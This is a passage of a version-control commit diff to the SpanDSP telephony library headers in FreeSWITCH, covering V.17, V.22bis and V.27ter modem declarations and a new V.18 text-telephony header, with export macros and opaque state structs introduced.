     \brief Process a block of received V.17 modem audio samples.
@@ -452,44 +278,53 @@
     \param len The number of samples in the buffer.
     \return The number of samples unprocessed.
 */
-int v17_rx(v17_rx_state_t *s, const int16_t amp[], int len);
+SPAN_DECLARE_NONSTD(int) v17_rx(v17_rx_state_t *s, const int16_t amp[], int len);
 
+/*! Fake processing of a missing block of received V.17 modem audio samples.
+    (e.g due to packet loss).
+    \brief Fake processing of a missing block of received V.17 modem audio samples.
+    \param s The modem context.
+    \param len The number of samples to fake.
+    \return The number of samples unprocessed.
+*/
+SPAN_DECLARE(int) v17_rx_fillin(v17_rx_state_t *s, int len);
+
 /*! Get a snapshot of the current equalizer coefficients.
     \brief Get a snapshot of the current equalizer coefficients.
     \param s The modem context.
     \param coeffs The vector of complex coefficients.
     \return The number of coefficients in the vector. */
 #if defined(SPANDSP_USE_FIXED_POINTx)
-int v17_rx_equalizer_state(v17_rx_state_t *s, complexi_t **coeffs);
+SPAN_DECLARE(int) v17_rx_equalizer_state(v17_rx_state_t *s, complexi_t **coeffs);
 #else
-int v17_rx_equalizer_state(v17_rx_state_t *s, complexf_t **coeffs);
+SPAN_DECLARE(int) v17_rx_equalizer_state(v17_rx_state_t *s, complexf_t **coeffs);
 #endif
 
 /*! Get the current received carrier frequency.
     \param s The modem context.
     \return The frequency, in Hertz. */
-float v17_rx_carrier_frequency(v17_rx_state_t *s);
+SPAN_DECLARE(float) v17_rx_carrier_frequency(v17_rx_state_t *s);
 
 /*! Get the current symbol timing correction since startup.
     \param s The modem context.
     \return The correction. */
-float v17_rx_symbol_timing_correction(v17_rx_state_t *s);
+SPAN_DECLARE(float) v17_rx_symbol_timing_correction(v17_rx_state_t *s);
 
 /*! Get a current received signal power.
     \param s The modem context.
     \return The signal power, in dBm0. */
-float v17_rx_signal_power(v17_rx_state_t *s);
+SPAN_DECLARE(float) v17_rx_signal_power(v17_rx_state_t *s);
 
 /*! Set the power level at which the carrier detection will cut in
     \param s The modem context.
     \param cutoff The signal cutoff power, in dBm0. */
-void v17_rx_signal_cutoff(v17_rx_state_t *s, float cutoff);
+SPAN_DECLARE(void) v17_rx_signal_cutoff(v17_rx_state_t *s, float cutoff);
 
 /*! Set a handler routine to process QAM status reports
     \param s The modem context.
     \param handler The handler routine.
     \param user_data An opaque pointer passed to the handler routine. */
-void v17_rx_set_qam_report_handler(v17_rx_state_t *s, qam_report_handler_t handler, void *user_data);
+SPAN_DECLARE(void) v17_rx_set_qam_report_handler(v17_rx_state_t *s, qam_report_handler_t handler, void *user_data);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/v17tx.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/v17tx.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/v17tx.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v17tx.h,v 1.36 2008/07/16 14:23:48 steveu Exp $
+ * $Id: v17tx.h,v 1.43 2009/07/09 13:52:09 steveu Exp $
  */
 
 /*! \file */
@@ -81,80 +81,12 @@
 transmitter. 
 */
 
-#define V17_TX_FILTER_STEPS     9
-
 /*!
     V.17 modem transmit side descriptor. This defines the working state for a
     single instance of a V.17 modem transmitter.
 */
-typedef struct
-{
-    /*! \brief The bit rate of the modem. Valid values are 4800, 7200 and 9600. */
-    int bit_rate;
-    /*! \brief The callback function used to get the next bit to be transmitted. */
-    get_bit_func_t get_bit;
-    /*! \brief A user specified opaque pointer passed to the get_bit function. */
-    void *get_bit_user_data;
+typedef struct v17_tx_state_s v17_tx_state_t;
 
-    /*! \brief The callback function used to report modem status changes. */
-    modem_tx_status_func_t status_handler;
-    /*! \brief A user specified opaque pointer passed to the status function. */
-    void *status_user_data;
-
-    /*! \brief The gain factor needed to achieve the specified output power. */
-#if defined(SPANDSP_USE_FIXED_POINT)
-    int32_t gain;
-#else
-    float gain;
-#endif
-
-    /*! \brief The route raised cosine (RRC) pulse shaping filter buffer. */
-#if defined(SPANDSP_USE_FIXED_POINT)
-    complexi16_t rrc_filter[2*V17_TX_FILTER_STEPS];
-#else
-    complexf_t rrc_filter[2*V17_TX_FILTER_STEPS];
-#endif
-    /*! \brief Current offset into the RRC pulse shaping filter buffer. */
-    int rrc_filter_step;
-
-    /*! \brief The current state of the differential encoder. */
-    int diff;
-    /*! \brief The current state of the convolutional encoder. */
-    int convolution;
-
-    /*! \brief The register for the data scrambler. */
-    unsigned int scramble_reg;
-    /*! \brief TRUE if transmitting the training sequence. FALSE if transmitting user data. */
-    int in_training;
-    /*! \brief TRUE if the short training sequence is to be used. */
-    int short_train;
-    /*! \brief A counter used to track progress through sending the training sequence. */
-    int training_step;
-
-    /*! \brief The current phase of the carrier (i.e. the DDS parameter). */
-    uint32_t carrier_phase;
-    /*! \brief The update rate for the phase of the carrier (i.e. the DDS increment). */
-    int32_t carrier_phase_rate;
-    /*! \brief The current fractional phase of the baud timing. */
-    int baud_phase;
-    /*! \brief The code number for the current position in the constellation. */
-    int constellation_state;
-    
-    /*! \brief A pointer to the constellation currently in use. */
-#if defined(SPANDSP_USE_FIXED_POINT)
-    const complexi16_t *constellation;
-#else
-    const complexf_t *constellation;
-#endif
-    /*! \brief The current number of data bits per symbol. This does not include
-               the redundant bit. */
-    int bits_per_symbol;
-    /*! \brief The get_bit function in use at any instant. */
-    get_bit_func_t current_get_bit;
-    /*! \brief Error and flow logging control */
-    logging_state_t logging;
-} v17_tx_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -164,7 +96,7 @@
     \brief Adjust a V.17 modem transmit context's output power.
     \param s The modem context.
     \param power The power level, in dBm0 */
-void v17_tx_power(v17_tx_state_t *s, float power);
+SPAN_DECLARE(void) v17_tx_power(v17_tx_state_t *s, float power);
 
 /*! Initialise a V.17 modem transmit context. This must be called before the first
     use of the context, to initialise its contents.
@@ -175,7 +107,7 @@
     \param get_bit The callback routine used to get the data to be transmitted.
     \param user_data An opaque pointer.
     \return A pointer to the modem context, or NULL if there was a problem. */
-v17_tx_state_t *v17_tx_init(v17_tx_state_t *s, int rate, int tep, get_bit_func_t get_bit, void *user_data);
+SPAN_DECLARE(v17_tx_state_t *) v17_tx_init(v17_tx_state_t *s, int rate, int tep, get_bit_func_t get_bit, void *user_data);
 
 /*! Reinitialise an existing V.17 modem transmit context, so it may be reused.
     \brief Reinitialise an existing V.17 modem transmit context.
@@ -184,27 +116,39 @@
     \param tep TRUE is the optional TEP tone is to be transmitted.
     \param short_train TRUE if the short training sequence should be used.
     \return 0 for OK, -1 for parameter error. */
-int v17_tx_restart(v17_tx_state_t *s, int bit_rate, int tep, int short_train);
+SPAN_DECLARE(int) v17_tx_restart(v17_tx_state_t *s, int bit_rate, int tep, int short_train);
 
+/*! Release a V.17 modem transmit context.
+    \brief Release a V.17 modem transmit context.
+    \param s The modem context.
+    \return 0 for OK */
+SPAN_DECLARE(int) v17_tx_release(v17_tx_state_t *s);
+
 /*! Free a V.17 modem transmit context.
     \brief Free a V.17 modem transmit context.
     \param s The modem context.
     \return 0 for OK */
-int v17_tx_free(v17_tx_state_t *s);
+SPAN_DECLARE(int) v17_tx_free(v17_tx_state_t *s);
 
+/*! Get the logging context associated with a V.17 modem transmit context.
+    \brief Get the logging context associated with a V.17 modem transmit context.
+    \param s The modem context.
+    \return A pointer to the logging context */
+SPAN_DECLARE(logging_state_t *) v17_tx_get_logging_state(v17_tx_state_t *s);
+
 /*! Change the get_bit function associated with a V.17 modem transmit context.
     \brief Change the get_bit function associated with a V.17 modem transmit context.
     \param s The modem context.
     \param get_bit The callback routine used to get the data to be transmitted.
     \param user_data An opaque pointer. */
-void v17_tx_set_get_bit(v17_tx_state_t *s, get_bit_func_t get_bit, void *user_data);
+SPAN_DECLARE(void) v17_tx_set_get_bit(v17_tx_state_t *s, get_bit_func_t get_bit, void *user_data);
 
 /*! Change the modem status report function associated with a V.17 modem transmit context.
     \brief Change the modem status report function associated with a V.17 modem transmit context.
     \param s The modem context.
     \param handler The callback routine used to report modem status changes.
     \param user_data An opaque pointer. */
-void v17_tx_set_modem_status_handler(v17_tx_state_t *s, modem_tx_status_func_t handler, void *user_data);
+SPAN_DECLARE(void) v17_tx_set_modem_status_handler(v17_tx_state_t *s, modem_tx_status_func_t handler, void *user_data);
 
 /*! Generate a block of V.17 modem audio samples.
     \brief Generate a block of V.17 modem audio samples.
@@ -213,7 +157,7 @@
     \param len The number of samples to be generated.
     \return The number of samples actually generated.
 */
-int v17_tx(v17_tx_state_t *s, int16_t amp[], int len);
+SPAN_DECLARE_NONSTD(int) v17_tx(v17_tx_state_t *s, int16_t amp[], int len);
 
 #if defined(__cplusplus)
 }

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/v18.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/v18.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/v18.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/v18.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,156 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * v18.h - V.18 text telephony for the deaf.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2004-2009 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: v18.h,v 1.5 2009/06/02 16:03:56 steveu Exp $
+ */
+ 
+/*! \file */
+
+/*! \page v18_page The V.18 text telephony protocols
+\section v18_page_sec_1 What does it do?
+
+\section v18_page_sec_2 How does it work?
+*/
+
+#if !defined(_SPANDSP_V18_H_)
+#define _SPANDSP_V18_H_
+
+typedef struct v18_state_s v18_state_t;
+
+enum
+{
+    V18_MODE_NONE = 0,
+    /* V.18 Annex A - Weitbrecht TDD at 45.45bps, half-duplex, 5 bit baudot. */
+    V18_MODE_5BIT_45 = 1,
+    /* V.18 Annex A - Weitbrecht TDD at 50bps, half-duplex, 5 bit baudot. */
+    V18_MODE_5BIT_50 = 2,
+    /* V.18 Annex B - DTMF encoding of ASCII. */
+    V18_MODE_DTMF = 3,
+    /* V.18 Annex C - EDT 110bps, V.21, half-duplex, ASCII. */
+    V18_MODE_EDT = 4,
+    /* V.18 Annex D - 300bps, Bell 103, duplex, ASCII. */
+    V18_MODE_BELL103 = 5,
+    /* V.18 Annex E - 1200bps Videotex terminals, ASCII. */
+    V18_MODE_V23VIDEOTEX = 6,
+    /* V.18 Annex F - V.21 text telephone, V.21, duplex, ASCII. */
+    V18_MODE_V21TEXTPHONE = 7,
+    /* V.18 Annex G - V.18 text telephone mode. */
+    V18_MODE_V18TEXTPHONE = 8
+};
+
+#if defined(__cplusplus)
+extern "C"
+{
+#endif
+
+SPAN_DECLARE(logging_state_t *) v18_get_logging_state(v18_state_t *s);
+
+/*! Initialise a V.18 context.
+    \brief Initialise a V.18 context.
+    \param s The V.18 context.
+    \param caller TRUE if caller mode, else answerer mode.
+    \param mode Mode of operation.
+    \param put_msg A callback routine called to deliver the received text
+           to the application.
+    \param user_data An opaque pointer for the callback routine.
+    \return A pointer to the V.18 context, or NULL if there was a problem. */
+SPAN_DECLARE(v18_state_t *) v18_init(v18_state_t *s,
+                                     int caller,
+                                     int mode,
+                                     put_msg_func_t put_msg,
+                                     void *user_data);
+
+/*! Release a V.18 context.
+    \brief Release a V.18 context.
+    \param s The V.18 context.
+    \return 0 for OK. */
+SPAN_DECLARE(int) v18_release(v18_state_t *s);
+
+/*! Free a V.18 context.
+    \brief Release a V.18 context.
+    \param s The V.18 context.
+    \return 0 for OK. */
+SPAN_DECLARE(int) v18_free(v18_state_t *s);
+
+/*! Generate a block of V.18 audio samples.
+    \brief Generate a block of V.18 audio samples.
+    \param s The V.18 context.
+    \param amp The audio sample buffer.
+    \param max_len The number of samples to be generated.
+    \return The number of samples actually generated.
+*/
+SPAN_DECLARE_NONSTD(int) v18_tx(v18_state_t *s, int16_t amp[], int max_len);
+
+/*! Process a block of received V.18 audio samples.
+    \brief Process a block of received V.18 audio samples.
+    \param s The V.18 context.
+    \param amp The audio sample buffer.
+    \param len The number of samples in the buffer.
+*/
+SPAN_DECLARE_NONSTD(int) v18_rx(v18_state_t *s, const int16_t amp[], int len);
+
+/*! \brief Put a string to a V.18 context's input buffer.
+    \param s The V.18 context.
+    \param msg The string to be added.
+    \param len The length of the string. If negative, the string is
+           assumed to be a NULL terminated string.
+    \return The number of characters actually added. This may be less than the
+            length of the digit string, if the buffer fills up. If the string is
+            invalid, this function will return -1. */
+SPAN_DECLARE(int) v18_put(v18_state_t *s, const char msg[], int len);
+
+/*! Convert a text string to a V.18 DTMF string.
+    \brief Convert a text string to a V.18 DTMF string.
+    \param s The V.18 context.
+    \param dtmf The resulting DTMF string.
+    \param msg The text string to be converted.
+    \return The length of the DTMF string.
+*/
+SPAN_DECLARE(int) v18_encode_dtmf(v18_state_t *s, char dtmf[], const char msg[]);
+
+/*! Convert a V.18 DTMF string to a text string.
+    \brief Convert a V.18 DTMF string to a text string.
+    \param s The V.18 context.
+    \param msg The resulting test string.
+    \param dtmf The DTMF string to be converted.
+    \return The length of the text string.
+*/
+SPAN_DECLARE(int) v18_decode_dtmf(v18_state_t *s, char msg[], const char dtmf[]);
+
+SPAN_DECLARE(uint16_t) v18_encode_baudot(v18_state_t *s, uint8_t ch);
+
+SPAN_DECLARE(uint8_t) v18_decode_baudot(v18_state_t *s, uint8_t ch);
+
+/*! \brief Return a short name for an V.18 mode
+    \param mode The code for the V.18 mode.
+    \return A pointer to the name.
+*/
+SPAN_DECLARE(const char *) v18_mode_to_str(int mode);
+
+#if defined(__cplusplus)
+}
+#endif
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/v22bis.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/v22bis.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/v22bis.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v22bis.h,v 1.30 2008/07/25 13:56:54 steveu Exp $
+ * $Id: v22bis.h,v 1.45 2009/07/09 13:52:09 steveu Exp $
  */
 
 /*! \file */
@@ -47,167 +47,22 @@
 or 1200bps if one or both ends to not acknowledge that 2400bps is OK.
 */
 
-#if !defined(_V22BIS_H_)
-#define _V22BIS_H_
+#if !defined(_SPANDSP_V22BIS_H_)
+#define _SPANDSP_V22BIS_H_
 
-#define V22BIS_EQUALIZER_LEN    7  /* this much to the left and this much to the right */
-#define V22BIS_EQUALIZER_MASK   15 /* one less than a power of 2 >= (2*V22BIS_EQUALIZER_LEN + 1) */
+enum
+{
+    V22BIS_GUARD_TONE_NONE,
+    V22BIS_GUARD_TONE_550HZ,
+    V22BIS_GUARD_TONE_1800HZ
+};
 
-#define V22BIS_TX_FILTER_STEPS  9
-
-#define V22BIS_RX_FILTER_STEPS  37
-
 /*!
     V.22bis modem descriptor. This defines the working state for a single instance
     of a V.22bis modem.
 */
-typedef struct
-{
-    /*! \brief The bit rate of the modem. Valid values are 1200 and 2400. */
-    int bit_rate;
-    /*! \brief TRUE is this is the calling side modem. */
-    int caller;
-    /*! \brief The callback function used to put each bit received. */
-    put_bit_func_t put_bit;
-    /*! \brief The callback function used to get the next bit to be transmitted. */
-    get_bit_func_t get_bit;
-    /*! \brief A user specified opaque pointer passed to the callback routines. */
-    void *user_data;
+typedef struct v22bis_state_s v22bis_state_t;
 
-    /* RECEIVE SECTION */
-    struct
-    {
-        /*! \brief The route raised cosine (RRC) pulse shaping filter buffer. */
-        float rrc_filter[2*V22BIS_RX_FILTER_STEPS];
-        /*! \brief Current offset into the RRC pulse shaping filter buffer. */
-        int rrc_filter_step;
-
-        /*! \brief The register for the data scrambler. */
-        unsigned int scramble_reg;
-        /*! \brief A counter for the number of consecutive bits of repeating pattern through
-                   the scrambler. */
-        int scrambler_pattern_count;
-
-        /*! \brief 0 if receiving user data. A training stage value during training */
-        int training;
-        /*! \brief A count of how far through the current training step we are. */
-        int training_count;
-
-        /*! \brief >0 if a signal above the minimum is present. It may or may not be a V.22bis signal. */
-        int signal_present;
-
-        /*! \brief A measure of how much mismatch there is between the real constellation,
-            and the decoded symbol positions. */
-        float training_error;
-
-        /*! \brief The current phase of the carrier (i.e. the DDS parameter). */
-        uint32_t carrier_phase;
-        /*! \brief The update rate for the phase of the carrier (i.e. the DDS increment). */
-        int32_t carrier_phase_rate;
-        /*! \brief The proportional part of the carrier tracking filter. */
-        float carrier_track_p;
-        /*! \brief The integral part of the carrier tracking filter. */
-        float carrier_track_i;
-
-        /*! \brief A callback function which may be enabled to report every symbol's
-                   constellation position. */
-        qam_report_handler_t qam_report;
-        /*! \brief A user specified opaque pointer passed to the qam_report callback
-                   routine. */
-        void *qam_user_data;
-
-        /*! \brief A power meter, to measure the HPF'ed signal power in the channel. */    
-        power_meter_t rx_power;
-        /*! \brief The power meter level at which carrier on is declared. */
-        int32_t carrier_on_power;
-        /*! \brief The power meter level at which carrier off is declared. */
-        int32_t carrier_off_power;
-        /*! \brief The scaling factor accessed by the AGC algorithm. */
-        float agc_scaling;
-    
-        int constellation_state;
-
-        /*! \brief The current delta factor for updating the equalizer coefficients. */
-        float eq_delta;
-#if defined(SPANDSP_USE_FIXED_POINTx)
-        /*! \brief The adaptive equalizer coefficients. */
-        complexi_t eq_coeff[2*V22BIS_EQUALIZER_LEN + 1];
-        /*! \brief The equalizer signal buffer. */
-        complexi_t eq_buf[V22BIS_EQUALIZER_MASK + 1];
-#else
-        complexf_t eq_coeff[2*V22BIS_EQUALIZER_LEN + 1];
-        complexf_t eq_buf[V22BIS_EQUALIZER_MASK + 1];
-#endif
-        /*! \brief Current offset into the equalizer buffer. */
-        int eq_step;
-        /*! \brief Current write offset into the equalizer buffer. */
-        int eq_put_step;
-
-        /*! \brief Integration variable for damping the Gardner algorithm tests. */
-        int gardner_integrate;
-        /*! \brief Current step size of Gardner algorithm integration. */
-        int gardner_step;
-        /*! \brief The total symbol timing correction since the carrier came up.
-                   This is only for performance analysis purposes. */
-        int total_baud_timing_correction;
-        /*! \brief The current fractional phase of the baud timing. */
-        int baud_phase;
-    
-        int sixteen_way_decisions;
-    } rx;
-
-    /* TRANSMIT SECTION */
-    struct
-    {
-        /*! \brief The gain factor needed to achieve the specified output power. */
-        float gain;
-
-        /*! \brief The route raised cosine (RRC) pulse shaping filter buffer. */
-        complexf_t rrc_filter[2*V22BIS_TX_FILTER_STEPS];
-        /*! \brief Current offset into the RRC pulse shaping filter buffer. */
-        int rrc_filter_step;
-
-        /*! \brief The register for the data scrambler. */
-        unsigned int scramble_reg;
-        /*! \brief A counter for the number of consecutive bits of repeating pattern through
-                   the scrambler. */
-        int scrambler_pattern_count;
-
-        /*! \brief 0 if transmitting user data. A training stage value during training */
-        int training;
-        /*! \brief A counter used to track progress through sending the training sequence. */
-        int training_count;
-        /*! \brief The current phase of the carrier (i.e. the DDS parameter). */
-        uint32_t carrier_phase;
-        /*! \brief The update rate for the phase of the carrier (i.e. the DDS increment). */
-        int32_t carrier_phase_rate;
-        /*! \brief The current phase of the guard tone (i.e. the DDS parameter). */
-        uint32_t guard_phase;
-        /*! \brief The update rate for the phase of the guard tone (i.e. the DDS increment). */
-        int32_t guard_phase_rate;
-        float guard_level;
-        /*! \brief The current fractional phase of the baud timing. */
-        int baud_phase;
-        /*! \brief The code number for the current position in the constellation. */
-        int constellation_state;
-        /*! \brief An indicator to mark that we are tidying up to stop transmission. */
-        int shutdown;
-        /*! \brief The get_bit function in use at any instant. */
-        get_bit_func_t current_get_bit;
-    } tx;
-
-    int detected_unscrambled_ones;
-    int detected_unscrambled_zeros;
-
-    int detected_unscrambled_ones_or_zeros;
-    int detected_unscrambled_0011_ending;
-    int detected_scrambled_ones_or_zeros_at_1200bps;
-    int detected_scrambled_ones_at_2400bps;
-
-    /*! \brief Error and flow logging control */
-    logging_state_t logging;
-} v22bis_state_t;
-
 extern const complexf_t v22bis_constellation[16];
 
 #if defined(__cplusplus)
@@ -215,47 +70,53 @@
 {
 #endif
 
-/*! Reinitialise an existing V.22bis modem receive context.
-    \brief Reinitialise an existing V.22bis modem receive context.
-    \param s The modem context.
-    \param bit_rate The bit rate of the modem. Valid values are 1200 and 2400.
-    \return 0 for OK, -1 for bad parameter */
-int v22bis_rx_restart(v22bis_state_t *s, int bit_rate);
-
 /*! Process a block of received V.22bis modem audio samples.
     \brief Process a block of received V.22bis modem audio samples.
     \param s The modem context.
     \param amp The audio sample buffer.
     \param len The number of samples in the buffer.
     \return The number of samples unprocessed. */
-int v22bis_rx(v22bis_state_t *s, const int16_t amp[], int len);
+SPAN_DECLARE_NONSTD(int) v22bis_rx(v22bis_state_t *s, const int16_t amp[], int len);
 
+/*! Fake processing of a missing block of received V.22bis modem audio samples.
+    (e.g due to packet loss).
+    \brief Fake processing of a missing block of received V.22bis modem audio samples.
+    \param s The modem context.
+    \param len The number of samples to fake.
+    \return The number of samples unprocessed. */
+SPAN_DECLARE(int) v22bis_rx_fillin(v22bis_state_t *s, int len);
+
 /*! Get a snapshot of the current equalizer coefficients.
     \brief Get a snapshot of the current equalizer coefficients.
     \param coeffs The vector of complex coefficients.
     \return The number of coefficients in the vector. */
-int v22bis_equalizer_state(v22bis_state_t *s, complexf_t **coeffs);
+SPAN_DECLARE(int) v22bis_rx_equalizer_state(v22bis_state_t *s, complexf_t **coeffs);
 
 /*! Get the current received carrier frequency.
     \param s The modem context.
     \return The frequency, in Hertz. */
-float v22bis_rx_carrier_frequency(v22bis_state_t *s);
+SPAN_DECLARE(float) v22bis_rx_carrier_frequency(v22bis_state_t *s);
 
 /*! Get the current symbol timing correction since startup.
     \param s The modem context.
     \return The correction. */
-float v22bis_symbol_timing_correction(v22bis_state_t *s);
+SPAN_DECLARE(float) v22bis_rx_symbol_timing_correction(v22bis_state_t *s);
 
 /*! Get a current received signal power.
     \param s The modem context.
     \return The signal power, in dBm0. */
-float v22bis_rx_signal_power(v22bis_state_t *s);
+SPAN_DECLARE(float) v22bis_rx_signal_power(v22bis_state_t *s);
 
+/*! Set the power level at which the carrier detection will cut in
+    \param s The modem context.
+    \param cutoff The signal cutoff power, in dBm0. */
+SPAN_DECLARE(void) v22bis_rx_signal_cutoff(v22bis_state_t *s, float cutoff);
+
 /*! Set a handler routine to process QAM status reports
     \param s The modem context.
     \param handler The handler routine.
     \param user_data An opaque pointer passed to the handler routine. */
-void v22bis_set_qam_report_handler(v22bis_state_t *s, qam_report_handler_t handler, void *user_data);
+SPAN_DECLARE(void) v22bis_rx_set_qam_report_handler(v22bis_state_t *s, qam_report_handler_t handler, void *user_data);
 
 /*! Generate a block of V.22bis modem audio samples.
     \brief Generate a block of V.22bis modem audio samples.
@@ -263,21 +124,40 @@
     \param amp The audio sample buffer.
     \param len The number of samples to be generated.
     \return The number of samples actually generated. */
-int v22bis_tx(v22bis_state_t *s, int16_t amp[], int len);
+SPAN_DECLARE_NONSTD(int) v22bis_tx(v22bis_state_t *s, int16_t amp[], int len);
 
 /*! Adjust a V.22bis modem transmit context's power output.
     \brief Adjust a V.22bis modem transmit context's output power.
     \param s The modem context.
     \param power The power level, in dBm0 */
-void v22bis_tx_power(v22bis_state_t *s, float power);
+SPAN_DECLARE(void) v22bis_tx_power(v22bis_state_t *s, float power);
 
 /*! Reinitialise an existing V.22bis modem context, so it may be reused.
     \brief Reinitialise an existing V.22bis modem context.
     \param s The modem context.
     \param bit_rate The bit rate of the modem. Valid values are 1200 and 2400.
     \return 0 for OK, -1 for bad parameter. */
-int v22bis_restart(v22bis_state_t *s, int bit_rate);
+SPAN_DECLARE(int) v22bis_restart(v22bis_state_t *s, int bit_rate);
 
+/*! Request a retrain for a V.22bis modem context. A rate change may also be requested.
+    \brief Request a retrain for a V.22bis modem context.
+    \param s The modem context.
+    \param bit_rate The bit rate of the modem. Valid values are 1200 and 2400.
+    \return 0 for OK, -1 for request rejected. */
+SPAN_DECLARE(int) v22bis_request_retrain(v22bis_state_t *s, int bit_rate);
+
+/*! Request a loopback 2 for a V.22bis modem context.
+    \brief Request a loopback 2 for a V.22bis modem context.
+    \param s The modem context.
+    \param enable TRUE to enable loopback, or FALSE to disable it.
+    \return 0 for OK, -1 for request reject. */
+SPAN_DECLARE(int) v22bis_remote_loopback(v22bis_state_t *s, int enable);
+
+/*! Report the current operating bit rate of a V.22bis modem context.
+    \brief Report the current operating bit rate of a V.22bis modem context
+    \param s The modem context. */
+SPAN_DECLARE(int) v22bis_current_bit_rate(v22bis_state_t *s);
+
 /*! Initialise a V.22bis modem context. This must be called before the first
     use of the context, to initialise its contents.
     \brief Initialise a V.22bis modem context.
@@ -289,34 +169,54 @@
     \param put_bit The callback routine used to get the data to be transmitted.
     \param user_data An opaque pointer, passed in calls to the get and put routines.
     \return A pointer to the modem context, or NULL if there was a problem. */
-v22bis_state_t *v22bis_init(v22bis_state_t *s,
-                            int bit_rate,
-                            int guard,
-                            int caller,
-                            get_bit_func_t get_bit,
-                            put_bit_func_t put_bit,
-                            void *user_data);
+SPAN_DECLARE(v22bis_state_t *) v22bis_init(v22bis_state_t *s,
+                                           int bit_rate,
+                                           int guard,
+                                           int caller,
+                                           get_bit_func_t get_bit,
+                                           void *get_bit_user_data,
+                                           put_bit_func_t put_bit,
+                                           void *put_bit_user_data);
 
+/*! Release a V.22bis modem receive context.
+    \brief Release a V.22bis modem receive context.
+    \param s The modem context.
+    \return 0 for OK */
+SPAN_DECLARE(int) v22bis_release(v22bis_state_t *s);
+
 /*! Free a V.22bis modem receive context.
     \brief Free a V.22bis modem receive context.
     \param s The modem context.
     \return 0 for OK */
-int v22bis_free(v22bis_state_t *s);
+SPAN_DECLARE(int) v22bis_free(v22bis_state_t *s);
 
+/*! Get the logging context associated with a V.22bis modem context.
+    \brief Get the logging context associated with a V.22bis modem context.
+    \param s The modem context.
+    \return A pointer to the logging context */
+SPAN_DECLARE(logging_state_t *) v22bis_get_logging_state(v22bis_state_t *s);
+
 /*! Change the get_bit function associated with a V.22bis modem context.
     \brief Change the get_bit function associated with a V.22bis modem context.
     \param s The modem context.
     \param get_bit The callback routine used to get the data to be transmitted.
     \param user_data An opaque pointer. */
-void v22bis_set_get_bit(v22bis_state_t *s, get_bit_func_t get_bit, void *user_data);
+SPAN_DECLARE(void) v22bis_set_get_bit(v22bis_state_t *s, get_bit_func_t get_bit, void *user_data);
 
 /*! Change the get_bit function associated with a V.22bis modem context.
     \brief Change the put_bit function associated with a V.22bis modem context.
     \param s The modem context.
     \param put_bit The callback routine used to process the data received.
     \param user_data An opaque pointer. */
-void v22bis_set_put_bit(v22bis_state_t *s, put_bit_func_t put_bit, void *user_data);
+SPAN_DECLARE(void) v22bis_set_put_bit(v22bis_state_t *s, put_bit_func_t put_bit, void *user_data);
 
+/*! Change the modem status report function associated with a V.22bis modem receive context.
+    \brief Change the modem status report function associated with a V.22bis modem receive context.
+    \param s The modem context.
+    \param handler The callback routine used to report modem status changes.
+    \param user_data An opaque pointer. */
+SPAN_DECLARE(void) v22bis_set_modem_status_handler(v22bis_state_t *s, modem_rx_status_func_t handler, void *user_data);
+
 #if defined(__cplusplus)
 }
 #endif

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/v27ter_rx.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/v27ter_rx.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/v27ter_rx.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,13 +22,13 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v27ter_rx.h,v 1.53 2008/09/18 14:59:30 steveu Exp $
+ * $Id: v27ter_rx.h,v 1.61 2009/07/09 13:52:09 steveu Exp $
  */
 
 /*! \file */
 
-#if !defined(_V27TER_RX_H_)
-#define _V27TER_RX_H_
+#if !defined(_SPANDSP_V27TER_RX_H_)
+#define _SPANDSP_V27TER_RX_H_
 
 /*! \page v27ter_rx_page The V.27ter receiver
 
@@ -46,166 +46,12 @@
 straightforward.
 */
 
-/* Target length for the equalizer is about 43 taps for 4800bps and 32 taps for 2400bps
-   to deal with the worst stuff in V.56bis. */
-#define V27TER_EQUALIZER_PRE_LEN        16  /* This much before the real event */
-#define V27TER_EQUALIZER_POST_LEN       14  /* This much after the real event (must be even) */
-
-#define V27TER_RX_4800_FILTER_STEPS     27
-#define V27TER_RX_2400_FILTER_STEPS     27
-
-#if V27TER_RX_4800_FILTER_STEPS > V27TER_RX_2400_FILTER_STEPS
-#define V27TER_RX_FILTER_STEPS V27TER_RX_4800_FILTER_STEPS
-#else
